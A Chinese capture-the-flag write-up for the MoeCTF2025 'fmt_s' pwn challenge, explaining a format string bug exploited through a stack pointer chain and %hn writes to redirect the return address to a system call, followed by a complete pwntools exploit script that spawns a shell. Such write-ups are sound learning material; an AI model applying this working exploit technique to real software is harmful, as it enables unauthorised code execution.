fmt_s

moectf2025fmt_s (8).png

main函数:

moectf2025fmt_s (4).png

talk函数:

moectf2025fmt_s (5).png

my_read函数:

moectf2025fmt_s (6).png

he函数:

moectf2025fmt_s (7).png

我们看到he函数有调用system函数,但是命令不对,我们不能直接依靠he函数getflag,相当于没有直接的后门函数,talk函数先把flag与1进行异或,然后有个32字节的格式化字符串漏洞,然后向atk写入八字节,并把akt[输入的长度]设置为0,然后执行完talk我们会发现flag不为0了,循环没进行,然后把atk转换成无符号整数,进行比较。

我们这里明显的漏洞就是格式化字符串,而且我们发现got表是可写的,那我们的第一个思路就是修改got表,但是我们要考虑能不能通过32字节的限制,我们只能修改最后两字节。

moectf2025fmt_s (1).png

我们看到system的地址和printf的地址相差很远,我们不能通过只修改最后两字节来修改got表,那我们一次肯定是不够的,我们注意到有一个循环可以调用talk,那我们要考虑能不能让循环进行,这里阻止我们循环的是flag经过一次异或就不为0了,我们还有一次向atk写入的机会,我们看看atk

moectf2025fmt_s (2).png

我们可以看到atk有8字节的空间,atk[8]就是flag了,那我们刚好可以利用my_read吧atk[8]设置成0,即把flag设成成0,那我们就能满足循环条件了,那我们现在有3次使用格式化字符串的机会。

这里我们可以考虑多次写入修改一个函数的got表,但是我们只有3次机会,如果要修改got表的话,一次泄露libc地址,两次来修改地址,但是这样就不好控制rdi为sh,这里有更简单的方法,就是利用指针链,修改返回地址为he函数system的地址,因为我们是可以再ida中直接找到这两个地址的,我们可以发现它们只有最后两字节不同,我们观察printf时栈上的情况(这里是循环调用talk的,那这三次栈上指针存的内容是不变的)

moectf2025fmt_s (3).png

我们可以注意到在偏移量17(格式化字符串的偏移量,rsp是6)位置有一个指针链,偏移量17的指针指向了偏移量47的指针,这个指针里存了一个栈地址,7位置存了返回地址,我们可以注意到0x7ffcaff1b2d5和0x7ffcaff1a978只有最后两字节不同,偏移量那我们就可以利用%hn修改,首先我们使用%17$hn,它会找到17位置的指针,然后看这个指针指向的东西,然后它发现指向的是47位置的指针,然后他就会找47位置的指针里存的东西的最后两字节,那我们把这两字节改成存返回地址的那个指针的最后两字节,那现在47位置的指针存的就是指向返回地址的指针,然后我们再使用%47hn,这样他会找47位置的指针,找到47位置的指针内存的指针,然后看这个指针指向的东西,发现是返回地址,那就会修改这个返回地址,我们就成功修改返回地址了,这里我们还要泄露7位置的地址,我们选一个存栈地址的指针的位置用%p泄露就行了(栈地址每次是全随机的,最后两字节每次都变,但是偏移不变,我们只要泄露一个栈地址就能利用偏移求出),这里刚好用完三次机会,那我们还剩最后一个问题,就是rdi不是sh,这里我们利用寄存器残留,我们看每次talk结尾会调用my_read函数,我们看my_read函数的汇编代码:

moectf2025fmt_s (10).png

我们看到这里最后rdi是atk的内容,前面又调用read向atk写入了,这个返回就是执行我们修改后返回地址了,所以rdi还是atk的内容,那我们就能再atk中写入sh指令了,然后我们就能getshell了。

补充一下:ret_addr & 0xffff这里是对地址进行与操作,这样操作过后我们就只剩下最后两字节了,因为我们只修改最后两字节。

.encode:把 String (文本) 变成 Bytes (数据),只要用了 f-string(f'...')做计算,屁股后面必须跟 .encode()

EXP:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# p = remote('127.0.0.1', 39865)
p = process('./pwn_patched')
system = 0x40127b
def talk(payload, final_payload=None):
    p.sendafter(b'...', payload)  
    if final_payload:
        p.sendafter(b'!', final_payload)
        return b''
    else:
        return  p.sendafter(b'!', b'\x00'*8)
resp = talk(b'%17$p')
leak_idx = resp.find(b'0x')
leak_addr = int(resp[leak_idx : leak_idx+14], 0)
log.success(f"leak:{hex(leak_addr)}")
ret_addr = leak_addr - 0x130
talk(f'%{ret_addr & 0xffff}c%17$hn'.encode())
talk(f'%{system & 0xffff}c%47$hn'.encode(), final_payload=b'sh\x00')
p.interactive()

题目链接:

CTF-Writeups/MoeCTF2025/fmt_s at main · ZenDuk17/CTF-Writeups


fmt_s
http://localhost:8080/archives/wei-ming-ming-wen-zhang-vJosuGGG
作者
ZenDuk
发布于
2025年12月14日
许可协议